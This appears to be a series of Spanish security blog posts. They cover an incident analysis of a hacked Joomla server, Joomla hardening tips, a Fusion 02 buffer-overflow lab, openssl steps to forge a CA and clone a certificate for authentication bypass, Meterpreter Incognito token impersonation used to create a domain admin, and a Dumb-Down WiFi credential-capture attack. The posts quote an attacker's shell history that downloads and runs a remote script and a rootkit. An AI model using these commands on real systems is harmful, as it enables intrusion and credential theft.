Recuperación ante un ataque contra Joomla

Quería compartir un ataque sufrido a un servidor dedicado que una organización con la cual colaboraba tenía contratado en una empresa de hosting bastante conocida. Cuando fuimos conscientes del ataque, el atacante ya había obtenido acceso al sistema y había editado los ficheros /etc/passwd, /etc/groups, /etc/shadow y /etc/gshadow modificando las claves de acceso por ssh y creando usuarios propios para acceder al equipo. Por tanto no disponíamos de acceso al servidor.

En el OSSEC (un HIDS) veíamos intentos de acceso al servidor por SSH desde una IP de Indonesia. Y nos alertaba de tener instalada una Rootkit.

2013 Nov 09 21:59:19 Rule Id: 510 level: 7
Location: servidor->rootcheck
Src IP: 'shv5' detected by the presence of file '/lib/libsh.so'.
Host-based anomaly detection event (rootcheck). ** Alert 1384030759.1314571: mail -
ossec,rootcheck,
2013 Nov 09 21:59:19 servidor->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'shv5' detected by the presence of file '/usr/lib/libsh'.

Para recuperar el acceso al servidor (ya que nos habían modificado la clave) hicimos uso de las claves pública/privada que teníamos en el servidor y que utilizábamos entre otras cosas para las copias de seguridad a una NAS en remoto. Gracias a esto conseguimos reemplazar de nuevo los ficheros modificados para acceder al servidor. Una vez conseguimos acceder al servidor teníamos que comprobar los ficheros afectados y modificados, y la forma por la que habían accedido. Lanzamos el comando history en la consola para que nos diese alguna pista de los comandos ejecutados a través del Shell, y este fue el resultado:

473 id
474 wget kropak.com/es.txt
475 perl es.txt
476 cd /tmp
477 rm -rf a
478 ls
479 wget kropak.com/sshroot.tar.gz
480 tar -zxvf sshroot.tar.gz;rm -rf sshroot.tar.gz
481 cd sshroot
482 chmod +x *
483 ./configure --prefix=/usr/local/sshd/
484 cd ..
485 rm -rf sshroot
486 wget kropak.com/shv5.tar.gz
487 tar -zxvf shv5.tar.gz;rm -rf shv5.tar.gz
488 cd shv5
489 ./setup 201 201
490 cd /tmp
491 service iptables stop
492 /sbin/ifconfig | grep inet | wc -l
493 cat /etc/ssh/sshd_config
494 adduser tagar
495 passwd Tagar
496 passwd tagar
497 chmod 777 /etc/passwd
498 id tagar
499 passwd
500 id tagar

Esto confirmaba la alerta del OSSEC. Como vemos pudieron hacer a sus anchas lo que quisieron. Instalaron un rootkit shv5 y se crearon usuarios de acceso al servidor (tagar).

Además de eso, modificaron los paquetes de comandos como el lsof, ifconfig, md5sum, find, pstree… limitando algunas funciones, de lo cual nos alertó el rkhunter como mostramos en el ejemplo siguiente.

[01:02:05] /usr/bin/pstree [ Warning ]
[01:02:05] Warning: Package manager verification has failed:
[01:02:05] File: /usr/bin/pstree
[01:02:05] The file hash value has changed
[01:02:05] The file owner has changed
[01:02:05] The file group has changed
[01:02:05] The file size has changed 

En el mismo log del rkhunter aparecieron muchos mensajes de información. Entre otros, este que nos da importante información.

[01:04:00] Checking for TCP port 6667 [ Warning ]
httpdocs/administrator/templates/.logged/psybnc. Possible rootkit: Possible rogue IRC bot
Use the 'lsof -i' or 'netstat -an' command to check this.

Localizamos el fichero psybnc en un dominio donde teníamos instalado una versión de Joomla! vulnerable (versión 1.5) y es donde habían instalado un IRC (Internet Relay Chat) y nos utilizaban como servidor IRCd.

En el directorio /administrator/templates aparecía el .logged y directorios de Unreal3.2 (IRC), shv5, y otros ficheros infectados y que habían sido descargados por el atacante.

Revisando el log del dominio infectado vimos la forma por la que accedieron al servidor:

IP_Atacante - - [16/Oct/2013:05:52:55 +0200] "POST
/index.php%3foption=com_content%26view=article%26id
=280%3agf-febrero-
2013%26catid=20%3avitoria%26Itemid=73/index.php?
option=com_jce&task=plugin&plugin=imgman
ager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 404 549 "-"
"BOT/0.1 (BOT for JCE)"

Como se puede ver es a raíz del complemento JCE que es un editor de mensajes que se ha conocido que es vulnerable [4] [5] [6] y que hay pruebas de concepto sobre la explotación de dicha vulnerabilidad.

Hasta aquí un poco el análisis a grandes rasgos del ataque. Una vez conocida la vulnerabilidad explotada y la utilización que se estaba realizando del equipo empieza la tarea para limpiar y solucionar el problema. En primer lugar procedimos a eliminar el atributo inmutable de los ficheros que el atacante había modificado para limitar nuestra acción:

[root@servidor ~]# chattr -sia /bin/ls
[root@servidor ~]# chattr -sia /bin/ps
[root@servidor ~]# chattr -sia /bin/netstat
[root@servidor ~]# chattr -sia /usr/bin/dir
[root@servidor ~]# hattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /sbin/ifconfig
[root@servidor ~]# chattr -sia /usr/sbin/lsof
[root@servidor ~]# chattr -sia /usr/bin/md5sum
[root@servidor ~]# chattr -sia /usr/bin/pstree
[root@servidor ~]# chattr -sia /usr/bin/top
[root@servidor ~]# chattr -sia /lib/libsh.so
[root@servidor ~]# chattr -sia /usr/lib/libsh
[root@servidor ~]# chattr -sia /usr/lib/libsh/*
[root@servidor ~]# chattr -sia /etc/sh.conf
[root@servidor ~]# chattr -sia /sbin/ttymon
[root@servidor ~]# chattr -sia /sbin/ttyload

También modificaron el /etc/inittab por lo que lo reemplazamos con uno limpio de copias de seguridad anteriores.

Eliminamos los ficheros modificados en el sistema y posteriormente los instalamos de nuevo:

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# yum -y reinstall coreutils binutils 
     net-tools psmisc lsof procps findutils >>/dev/null

Además borramos también cualquier rastro de los ficheros del shv4 y shv5. Eliminamos el proceso en marcha que tenían en el IRC y el Unreal. Además eliminamos del fichero known-hosts la IP del atacante y la añadimos en el firewall para que bloquease toda conexión de esa IP. Además, dado que en el servidor no se utilizaba perl, bloqueamos los accesos con el user-agent libwww-perl.

A modo de resumen el procedimiento del ataque ha sido el siguiente:

  • A raíz de una vulnerabilidad de Joomla! Content Editor y el plugin imgmanager (por tenerlo desactualizado) utilizan un exploit en perl para escanear y ver la vulnerabilidad que consigue introducir ficheros en la carpeta de joomla vulnerable.
  • Suben ficheros y usan la librería libwww-perl para estas conexiones.
  • Instalar un software IRCd (Unreal).
  • Con los ficheros que meten ejecutan un fichero perl que les da posibilidades de ejecutar tareas con los privilegios del usuario apache.
  • Descargan dos ficheros sshroot.tar.gz y shv5.tar.gz y posteriormente instalan el rootkit para evitar ser detectados y conseguir privilegios de root en el servidor.

Después de esto solo cabe añadir que procedimos a revisar todo el servidor de nuevo, además de actualizar todas las versiones de Joomla! instaladas y revisar todos los plugins para comprobar que no eran vulnerables.

Estos son algunos de los pasos del análisis y de la solución que dimos ante este ataque. Evidentemente se tomaron más medidas y se analizaron muchas más cosas, pero a grandes rasgos este fue el caso que quería compartir.

Securizando Joomla!

Hace unos meses hablábamos [1] [2] de uno de los gestores de contenido o CMS (Content Management System) más utilizado y de la necesidad de tomar medidas para securizarlo. Como ya comentamos en ese artículo, los gestores de contenidos al ser utilizados por multitud de personas están en el punto de mira de los atacantes, y éstos se aprovechan de las vulnerabilidades de la herramienta y lanzan ataques contra las páginas que utilizan estos CMS. Por tanto es fundamental tomar medidas de prevención para no ser víctima de uno de estos ataques.

En aquel momento hablamos del CMS WordPress. En este post vamos a hablar de otro de los más populares: Joomla!.

Joomla permite desarrollar sitios web dinámicos e interactivos. Permite gestionar contenido en un sitio web de manera sencilla a través de un panel de Administración bastante completo, aunque en ocasiones poco intuitivo. Es un software de código abierto, desarrollado en PHP y liberado bajo licencia GPL. Uno de los mayores potenciales que tiene este CMS es que su funcionalidad es muy grande debido en parte a la multitud de extensiones que tiene disponible. A su vez estas extensiones, generalmente desarrolladas por terceros, pueden volverse en contra del administrador del sistema ya que pueden ser puertas traseras que permitan el acceso no deseado al servidor o a la página en cuestión.

El Instituto de Tecnologías de la Comunicación (INTECO) publicó hace pocos meses una guía sobre securización de Joomla!. En este post queremos destacar algunas de las medidas de esa guía, además de añadir alguna otra que no se refleja en la misma. Las medidas se centran en una correcta configuración, asignación de permisos y cambios en la estructura del CMS. Estas medidas son:

  • En primer lugar es importante instalar la herramienta en un proveedor de confianza. Si es un servidor compartido debemos saber las medidas de seguridad que aplica el proveedor respecto a nuestro CMS, esto es, permisos en directorios, acceso al dominio, revisión de logs,…
  • Mover el fichero configuration.php del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
  • No dejar los permisos de configuration.php fuera del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
  • No dejar los permisos de configuration.php en 777. Recomendable 644. Acostumbramos a poner los permisos 777 para instalar extensiones al Joomla! y no tener problemas pero después no se vuelve a cambiar y se dejan permisos que no se debería, lo que compromete el servidor. Según aparece en la documentación de Joomla! los permisos recomendados son 644 para los archivos y 755 para los directorios.
  • No utilizar el nombre de usuario ‘admin’ para entrar al back-end. Si no se cambiase, ya se conocerían la mitad de las credenciales de acceso, y si la contraseña no fuese robusta con un ataque de fuerza bruta se podrían romper la contraseña de una forma fácil y obtener acceso al panel de administración.
  • Cambiar el nombre de la carpeta Administrator. Esto requiere modificaciones en el núcleo del sistema cambiando las referencias hacia ese directorio tanto en BD como en los ficheros de las plantillas que apuntan a ese directorio. En cualquier caso este cambio es recomendable para que un usuario ilícito no pueda acceder de manera fácil al login del back-end y probar por fuerza bruta combinaciones de usuario-contraseña.
  • Proteger el directorio administrator con contraseña (utilizando el .htaccess y el .htpasswd). Esta es una doble seguridad ya que por delante de las credenciales del back-end estaría la protección del directorio.
  • Proteger el acceso a los ficheros .htaccess insertando el código siguiente en el mismo .htaccess, y pon los permisos a 644.
  • < Files .htaccess>
    order allow,deny
    deny from all
    </Files>
    
  • Cambiar el prefijo de la BBDD durante la instalación (a partir de la versión 2.x ya lo genera aleatoriamente). Por defecto el prefijo de las versiones anteriores a la 2.5 era jos_ lo que provocaba que los atacantes conociesen los nombres de las tablas de la base de datos pues el resto del nombre es igual en todas las instalaciones.
  • Mantener el sitio actualizado. Las versiones con soporte actualmente son la 2.5, 3.0, 3.1, 3.2. La versión 2.5 es una versión LTS (Long Team Support) por lo que actualmente es la que más tiempo tendrá soporte. A mediados del de este año está previsto el lanzamiento de la versión 3.5 que será LTS y tendrá soporte hasta 2016.
  • Comprobar las extensiones que se instalan y buscar referencias para conocer si tienen vulnerabilidades conocidas o si son extensiones reconocidas por Joomla! [1] [2]. Las extensiones aumentan la funcionalidad del CMS pero pueden llegar a ser una puerta de entrada al portal si son vulnerables. Además, éstas deben ser actualizadas y sólo ser utilizadas si son estables y tienen soporte.

En la página de documentación oficial de Joomla! podemos encontrar más información: checklist de seguridad en la instalación de Joomla!, las preguntas frecuentes sobre la seguridad y rendimiento, y las 10 “cosas más estúpidas” que puede hacer un administrador de Joomla!. Con todos estos recursos podremos proteger nuestro portal y evitar de esta forma así ataques a la página y al servidor.

Resolución del ejercicio número 2 de Fusion (I) – “Controlando EIP”

Siguiendo con los ejercicios de exploiting con los que empezamos en un post anterior, hoy vamos a pegarnos con uno de la máquina virtual Fusion, concretamente nos enfrentaremos al ejercicio Fusion 02. La resolución de este ejercicio la he dividido en dos partes (dos entradas en el blog), en esta primera parte tenemos como objetivo controlar el registro EIP y dejaremos para la segunda parte explotar la vulnerabilidad. Esta entrada toma como guía para su resolución la entrada del blog de kroosec . Aunque intenta ofrecer algunos detalles más, que pueda hacer más fácil entender el ejercicio.

Para la resolución de este ejercicio vamos a ir respondiendo a preguntas que me he ido haciendo, y que al darles respuesta nos permiten ir dando un paso más en la comprensión del ejercicio y de la vulnerabilidad.

1. ¿Cómo funciona exactamente la función _read()?

Tras ejecutar el programa varias veces, con debugger y sin debugger uno ve que es importante entender como funciona exactamente la función nread y por lo tanto la función _read. Buscando un poco vemos que el prototipo de la función es:

ssize_t read(int fs, void *buf, size_t N);

Lo que hace exactamente esta función es leer n datos desde donde apunta el descriptor de fichero y lo almacena donde apunta la variable *buf. En el código del ejercicio vemos como el descriptor de fichero (fs) vale 0. Esto significa que está leyendo de stdin (entrada estándar). Ya tenemos claro lo que la función _read hace y ésta es invocada desde nread(). Solo mirando el prototipo está claro que uno ya podía intuir lo que hacía, pero de todos modos es necesario no presuponer nada y asegurarse de que funciona como parece.

2. ¿Cómo realizar una ejecución normal del programa y qué hace?

Es necesario saber cómo ejecutar el programa de manera normal, cómo debe funcionar y cuál debe ser su salida. El programa lo que hace es cifrar texto que se le introduce cuando nos conectamos al puerto 20002. Para cifrar una cadena tenemos que introducir primero el carácter ‘E’ en mayúsculas, seguido del tamaño del texto que vamos a introducir, el texto que queremos cifrar y una Q en mayúsculas para finalizar la ejecución.

Como ejemplo vamos a cifrar 100 A’s, mediante la siguiente instrucción:

fusion@fusion:~$ python -c 'print "E"+"\x64\x00\x00\x00"+100*"A"+"Q"' | nc localhost 
      20002
[-- Enterprise configuration file encryption service --]
[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support 
      staff to retrieve your file --]
fusion@fusion:~$ 

Este es el resultado de una ejecución normal del programa y vemos como hemos llegado a la parte del programa donde se cifra viendo el mensaje que nos ha devuelto por pantalla.

3. ¿Dónde está la vulnerabilidad?

Entendido el código tras varias ejecuciones, tenemos que localizar donde se encuentra la vulnerabilidad y nos fijamos en la siguientes dos líneas de código:

nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);

La vulnerabilidad radica en que en la segunda llamada a nread se utiliza la variable sz para definir la cantidad de datos a leer del usuario y esta variable ha sido fijada en la primera llamada a nread, que también está controlada por el usuario.

Una vez ya hemos introducido el carácter “E” en mayúscula el flujo del programa entrará en la zona de código destinada a cifrar. La primera llamada a nread() lee 4 bytes de la entrada estándar y lo almacena en el argumento sz (recordemos, introducidos por el usuario). Después en la segunda llamada se leen sz bytes y se almacenan en la variable buffer que tiene un tamaño de 32 * 4096 bytes = 131072 bytes. Como es obvio si los cuatro bytes primeros indican un tamaño superior a 131072 bytes y el usuario en la segunda llamada introduce la cantidad de bytes esperados (número superior a 131072), se producirá un buffer overflow en la pila.

4. ¿Cómo provocar el buffer overflow?

Para obtener el tamaño exacto que nos permita provocar el buffer overflow en la pila necesitaremos restar a la dirección de EBP la dirección donde se inicia el buffer.

(gdb) p &buffer
$6 = (unsigned char (*)[131072]) 0xbfd0ad2c
(gdb) p $ebp 
$7 = (void *) 0xbfd2ad38

>>> 0xbfd2ad38 - 0xbfd0ad2c
131084L

>>> hex(131084)
'0x0002000c'

Por tanto una ejecución normal que llenará todo el buffer sin desbordarlo será:

fusion@fusion:~$ python -c 'print "E"+"\x0c\x00\x02\x00"+131084*"A"+"Q"' | nc localhost
      20002
…..
0xb772b424 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 25433]
[Inferior 2 (process 25433) exited with code 0121]
……

Vemos como la salida del programa es controlada. Ahora para producir un overflow le sumaremos 4 al valor anterior, dando como resultado: 0x00020010

fusion@fusion:~$ python -c ‘print “E”+”\x10\x00\x02\x00”+131084*”A”+4*”B”+Q | nc 
      localhost 20002

(gdb) c
Continuing.
[New process 25463]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 25463]
main (argc=Cannot access memory at address 0xbd35d263
) at level02/level02.c:74
74	level02/level02.c: No such file or directory.
	in level02/level02.c

Vemos como se ha producido en esta ocasión un segmentation fault, por lo que ya tenemos controlado el tamaño. Como bien nos advierten desde kroosec en su blog cuando retornamos de la función encrypt_file() (poniendo un breakpoint en la línea 49) vemos que en EBP están los inyectados (41’s – A’s y 42’s – B’s), como se muestra en la siguiente captura de la memoria:

En cambio cuando retornamos de la función cipher() ésta ha modificado estos valores que controlamos por lo que hemos perdido el control y para poder seguir teniéndolo después de que se ejecute la función cipher() los datos que inyectamos tendrán que estar alineados con la función de cifrado. Vamos, que lo que nos interesa es que si inyectamos A’s y B’s cuando volvamos de la función cipher() EIP se sobrescriba con las A’s y B’s que hemos inyectado.

5. ¿Cómo funciona la función cipher()?

Descripción simple de algunas variables importantes de la función:

  • blah: Variable donde está el contenido a cifrar.
  • len: Tamaño de los datos a cifrar.
  • keybuf[32]: clave de 1024 bits. Son 32 elementos de 4 bytes, lo que son 128 bytes. Podemos ver un ejemplo del contenido a continuación:

  • blocks: Para calcular el número de bloques divide por 4 el número el tamaño en bytes. Con cada XOR se hacen 4 bytes de blahi con un elemento de la clave que tiene un tamaño de 4 bytes.

El bucle va realizando la función XOR entre los elementos de la clave y el texto que queremos cifrar. A continuación tenemos un ejemplo de una iteración del bucle for:

La captura anterior muestra la ejecución del bucle for cuando j=0. Si se examina la dirección donde apunta blahi (0xbfba22dc) se ve como el primer elemento ya no tiene el valor 0x41414141 y ha sido modificado. Para modificarlo se ha hecho un XOR así:

# Primer elemento de keybuf y el elemento primero de blahi tras aplicarle un XOR
>>> hex(0xf87adc59 ^ 0x41414141)
'0xb93b9d18L'

Por tanto si queremos que después de la función nos quede el valor 0x41414141 para demostrar que tenemos el control de EIP tendremos que poner el siguiente valor como entrada de datos:

>>> hex(0xf87adc59 ^ 0xb93b9d18L)
'0x41414141L'

6. ¿Cómo obtenemos la clave de cifrado y sobrescribimos EIP?

Llegados a este punto queda patente que debemos conocer la clave para poder cifrar los datos que queremos inyectar para obtener el resultado que queremos, pero ésta es aleatoria lo que supone un problema. Si revisamos el código vemos que existe una variable de nombre keyed que sirve para controlar que sólo en una primera ejecución se genere la clave y en las siguientes se utilice la generada, sería como una especie de caché. Es de ésto de lo que nos vamos a aprovechar y vamos a lanzar para cifrar dos fragmentos de texto. Con el primer fragmento obtendremos la clave y con el segundo sobrescribiremos EIP. En github (https://github.com/jholgui/exploiting/blob/master/fusion02.py) he dejado un script en python que hace estas dos ejecuciones de manera muy simple.

Resultado de ejecutar el script en python será:

Como vemos ya hemos sobrescrito EIP con un valor controlado por nosotros (BBBB) y con esto tenemos finalizada la primera parte. En la siguiente entrada explotaremos la vulnerabilidad.

Copiar un certificado para evadir autenticación

En ocasiones, una aplicación web permite utilizar certificados X.509 como medio de autenticación. Estos certificados, asociados a una persona, pueden ser generados bien por una autoridad certificadora reconocida (FNMT, ACCV…), o de forma privada para uso interno de una organización. En cualquier caso, la aplicación web debería comprobar que el certificado que se presenta está firmado por la CA correspondiente. De esta forma, se está asegurando que la persona es quien dice ser. Para información más ampliada sobre infraestructuras PKI, podéis leer la estupenda serie de posts del compañero David Cutanda.

Ahora bien, es posible que el desarrollador de la aplicación no haya considerado necesario tomarse tanta molestia de comprobar firmas, y únicamente verifique que algún campo del certificado coincida con su base de datos, como el DNI, número de serie, etc. ¿Cómo podría un atacante aprovechar esa deficiencia? Generando un certificado con los mismos datos que un certificado válido, y rezando para que la aplicación no haga ninguna comprobación adicional, ya que la firma del certificado no coincide con la CA legítima.

Vamos al ajo. Supongamos que tenemos suficiente información sobre los certificados que se utilizan para la autenticación. Vamos a explicar los pasos para generar una CA con los mismos datos que la original, un certificado de un usuario, y después firmaremos ese certificado con la CA que hemos generado.

Crear clave privada RSA para la CA

$ openssl genrsa -out rootCA.key 2048

Crear CA

$ openssl req -x509 -new -nodes -key rootCA.key -days 3650 -out rootCA.pem 
-subj "/O=Wayne Corp./OU=WaynePKI/CN=Wayne-CA"

Crear clave privada RSA para certificado personal

$ openssl genrsa -out personal.key 1024

Crear certificado

$ openssl req -new -key personal.key -out personal.csr -subj "/O=Wayne 
Corp./OU=Direccion/CN=Bruce Wayne" 

Firmar el certificado con la CA

$ openssl x509 -req -in personal.csr -CA rootCA.pem -CAkey rootCA.key -
CAcreateserial -out personal.crt -days 500 -set_serial 0x5599aaffbb4422cc

Exportar el certificado a PKCS12

$ openssl pkcs12 -export -out personal.p12 -in personal.crt -certfile rootCA.pem -
inkey personal.key

Exportar a PKCS12 es recomendable para poder importar el certificado en algún navegador. Es importante también darse cuenta que a la hora de firmar el certificado, es posible hardcodear el número de serie que deseemos. Si disponemos de un certificado legítimo que queramos clonar, se puede crear con el mismo número de serie. No es la primera vez que veo que ese dato es el que comprueba la aplicación para autenticarse.

En el caso de este ejemplo sólo he cumplimentado la organización O, unidad organizativa OU y common name CN, pero por supuesto se puede rellenar todo lo necesario para que el certificado sea lo más parecido posible al original.

Con el fichero personal.p12 generado ya podemos importarlo a nuestros navegadores, perfiles de SoapUI para auditar un WebService con WS-security, o lo que necesitemos. Es posible que también se necesite importar la CA que hemos creado al navegador como entidad de confianza, para que no se queje el navegador de que no puede comprobar la autenticidad del certificado.

¡A jugar!

Escala de Privilegios con Incognito

En el siguiente post vamos hacer un breve repaso a la escala de privilegios mediante el uso de “Incognito”. Después de las fiestas navideñas, y una vez comenzado este nuevo año, vamos a comenzar a repasar trucos y comandos publicados allá por el 2010, para así poder refrescar conocimientos y seguir investigando en la materia.

Según establece Offensive Security “La aplicación Incognito, se encuentra integrado en Mestasploit y en su instancia Meterpreter. Se puede encontrar más información acerca en el documento “Security Implications of Windows Access Tokens – A Penetration Tester’s Guide”. Incognito realiza el escalado de privilegios mediante la reproducción de la clave temporal cacheada en el sistema que es empleada cuando le solicita autenticación, permitiendo acceso al sistema.”

Con esto imaginemos ahora que nos encontramos realizando una auditoría lógica a la entidad ACME, y hemos obtenido acceso a un servidor Windows (a lo largo del post lo denominaremos “Gospi” para darle más realismo a nuestro entorno), disponiendo de una sesión abierta en dicha máquina mediante meterpreter.

Por tanto, una vez obtenida la máxima información posible ubicada en Gospi, ejecutamos Incognito mediante los comandos habituales de meterpreter “use incognito” (podemos ver los comandos permitidos mediante el comando “help”).

meterpreter > use incognito
Loading extension incognito...success.

Y procedemos a ver los tokens de los usuarios cacheados en Gospi mediante el comando “list_tokens –u”, obteniendo los usuarios.

Delegation Tokens Available
========================================
ACME\ Administrador
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Como podemos observar disponemos de los usuarios locales, así como también, por suerte, cacheado el acceso del Administrador del dominio ACME en el sistema. Y por tanto, aprovecharemos dicho usuario para escalar privilegios, ejecutando el comando “impersonate_token ACME\\Administrador”.

meterpreter > impersonate_token ACME\\Administrador
[+] Delegation token available
[+] Successfully impersonated user ACME\Administrador

Una vez especificado el token que deseamos suplantar, podemos verificar que disponemos de acceso al sistema con la cuenta de Administrador del dominio ACME, ejecutando el comando “getuid”.

meterpreter > getuid
Server username: ACME\ Administrador

Dado que disponemos de acceso al dominio de la entidad, vamos a proceder a crear un usuario en dicho dominio con permisos de administrador. Por tanto, abriremos una terminal mediante el comando “Shell”, y ahora haremos uso de comandos habituales de Windows.

Para dar de alta un usuario en el dominio ejecutaremos el siguiente comando “net user <usuario> <contraseña> /add /domain”. Y por último, lo añadiremos al grupo de Administrador del dominio “net group “Domain Admins” <usuario> /add /domain”.

Con esto, disponemos de un usuario con permisos de administrador en el dominio de la entidad ACME, y podemos disponer de acceso a diversos sistemas que sean controlados por el dominio de la entidad, así como acceder a la información confidencial almacenada.

Es muy común en la mayoría de las organizaciones disponer de servidores antiguos o sin los parches pertinentes, al ser servidores “offline”. Esto puede suponer un riesgo en la organización, no por la información que pueda contener (obsoleta o no confidencial), si no porque permita realizar un escalado de privilegios, y un atacante pueda acceder al dominio de la entidad como ha ocurrido en este caso en ACME. Obteniendo información confidencial, así como pudiendo pivotar a cualquier equipo de la red.

Aquello que consideramos menos crítico, suele ser la mayor fuente de ingresos de incidentes de seguridad.

Fuente:
http://www.offensive-security.com/metasploit-unleashed/Fun_With_Incognito

Dumb-Down atacando redes Wifi empresariales

En la pasada RootedCON de 2013 Raúl Siles introdujo una mejora al clásico ataque de Joshua Wright a redes WiFi empresariales llamado Dumb-Down, desconozco si el término o la vulnerabilidad que explota fue contribución suya o de algún otro gurú, pero la verdad es que no he encontrado referencias sobre la implementación/descripción del ataque en otras fuentes. Como no identificamos referencias básicamente sobre su realización técnica pasamos al “do it yourself”. La verdad que esta vulnerabilidad, desde mi punto de vista, ha pasado bastante desapercibida por lo que al impacto en la red se refiere (blogs, comentarios, etc.) y me sorprende especialmente por el terrible impacto que tiene. En las próximas líneas veremos una prueba de concepto de cómo configurar un sistema capaz de ejecutar el ataque, desde los cimientos aportados por Joshua a la mejora propuesta por Raúl.

En primer lugar comentar que el ataque Dumb-Down permite obtener directamente las credenciales en claro de los clientes WiFi que por una mala configuración de sus terminales autentiquen a una red empresarial que utilice EAP como método de autenticación.

Para ello necesitamos primero desplegar la infraestructura que nos permita autenticar a los clientes inalámbricos, para ello utilizaremos “Freeradius-WPE”, el cual habilita capacidades de registro para las credenciales suplidas por los usuarios víctima. No voy a describir su proceso de instalación ya que hay cientos de blogs que ilustran el ataque, destacar tan solo que, este es capaz de capturar diversos métodos de autenticación EAP como son: EAP-TTLS PAP, EAP-TTLS CHAP, PEAP-MSCHAPv2, EAP-TTLS GTC y por supuesto sus versiones sin tunelizar, entre otros.

Lanzaremos por tanto una vez instalado, el Freeradius-WPE mediante el siguiente comando.

Pondremos un Tail en su fichero de registro que es donde nos irá guardando las credenciales de los clientes WiFi.

En este momento necesitamos levantar un punto de acceso que autentique contra nuestro servidor Radius modificado en el puerto 1812 UDP. Podemos usar un AP físico o montar un hostapd, esta segunda opción nos permitirá utilizar una tarjeta WiFi con una antena con bastante ganancia. La configuración utilizada para el hostapd es la siguiente, lanzando posteriormente el demonio.

Ahora que ya tenemos la infraestructura preparada vamos a hacer una prueba de conexión sin aplicar todavía el ataque Dump-Down. Desde un teléfono móvil por ejemplo conectamos al AP requiriendo inmediatamente en la pantalla de nuestro terminal las credenciales de acceso a la red.

Nuestro terminal nos alerta de que el certificado de seguridad no es válido, en numerosas ocasiones el usuario simplemente lo aceptará por simple desconocimiento, pero como veremos en el estudio realizado más adelante para una red concreta, la mayoría de equipos están configurados para no comprobar la autenticidad del servidor de validación. Esto conlleva un gran problema ya que en nuestro registro podemos ver el usuario que ha conectado y la huella tanto del challege como del response de MSCHAPv2. Con esta información podemos utilizar aplicaciones como “John the ripper” versión “Jumbo”, “asleap” o servicios en la nube de crackeo de contraseñas por el módico precio de 17$ la unidad.

Como vemos en el log del Freeradius-WPE de la captura anterior, el método de autenticación ha sido Mschapv2 con un protocolo de protección y cifrado del proceso PEAP.

Veamos ahora como conseguir que el cliente en lugar de remitirnos un challenge/response que deberemos crackear, nos remita la contraseña directamente en claro, que es la gracia de Dump-Down. Muchos de los suplicantes inalámbricos delegan en el servidor Radius el método de autenticación a negociar, de esta manera si el terminal le comunica que se va a validar a través de MSCHAPv2 y nuestro FreeRadius-WPE replica forzándole a utilizar por ejemplo, EAP-GTC, conseguimos evitar realizar la fuerza bruta sobre MSCHAPv2. Si queréis saber que clientes son presas de este ataque, el estupendo estudio de Raúl realizado para la Rooted puede aportaros más detalles. Adelantaros que, en entornos Windows, EAP-GTC no es aceptado de forma nativa (así como LEAP o EAP-TTLS), ¿por qué? Pues porque ya tienen su propio método creado por ellos, Microsoft CHAPv2. Donde comienza la verdadera fiesta es con los terminales móviles; IOS 5, 6 y 7 sucumben al ataque; Android, dependiendo del grado de configuración; Windows Phone, peor escenario posible. Lo verdaderamente terrorífico en este punto es la capacidad por defecto de los teléfonos inteligentes de conectar automáticamente a aquellas redes que aparecen en su lista de favoritos, es decir, todas con las que previamente se ha realizado una asociación satisfactoria.

Configuremos por tanto nuestro FreeRadius-WPE editando el archivo “/usr/local/etc/raddb/eap.conf” y cambiando el método de autenticación por defecto a EAP-GTC como muestra la imagen.

Agradecimientos en este punto a nuestro compañero David Lladró por la configuración anterior.

En estos momentos, lanzaremos nuevamente nuestro Radius y repetiremos el intento de conexión con los siguientes resultados.

Como vemos en la imagen, el servidor ha forzado al cliente a utilizar EAP-GTC revelándonos directamente las credenciales en claro.

Un estudio que trató de analizar el impacto y el nivel de seguridad de este tipo de redes arrojó resultados escalofriantes. El objetivo propuesto fue una popular red universitaria. En su página web podemos leer:

XXX es el servicio mundial de movilidad segura desarrollado para la comunidad académica y de investigación. XXX persigue el lema “abre tu portátil y estás conectado”.

Para los que no la conozcáis es la red que da conectividad inalámbrica a los alumnos, independientemente de la universidad donde se encuentren. Tras un breve proceso de Wardriving por la ciudad con un punto de acceso simulando un nodo de XXX y un rápido paso por un par de campus, los resultados fueron los siguientes:

  • 59 Challenge/response de MSCHAPv2 capturados, con el consiguiente 100% de crackeo de la contraseña.
  • 36 credenciales en claro.

Como ellos mismos dicen “abre tu portátil y estás conectado”, paradójico ¿no…?

Pero este tipo de ataque Dump-Down, todavía puede dar mucho más juego, podemos utilizarlo para realizar ataques de ingeniería social. Supongamos que tenemos que realizar un test de intrusión sobre una empresa llamada Duff. Podemos levantar una infraestructura Dump-Down con un SSID por ejemplo “Duff WiFi mail service”, “Duff WiFi VPN” o cualquier otro nombre atractivo que pueda hacer que un usuario se autentique con sus credenciales de dominio, ya que lo único que se le requerirá al cliente que intente conectarse es un par usuario/contraseña, siendo muy fácil que asocie el nombre de la red con las credenciales de acceso al servicio (por ejemplo el correo). Al margen de esto, se me ocurre que podría ser interesante levantar por ejemplo, un punto de acceso en Barajas que se llamara “Google free WiFi” a ver cuántas “polillas” se pueden llegar a capturar… Dejamos esta práctica (que no recomendamos realizar en absoluto) para aquellos lectores Underground.

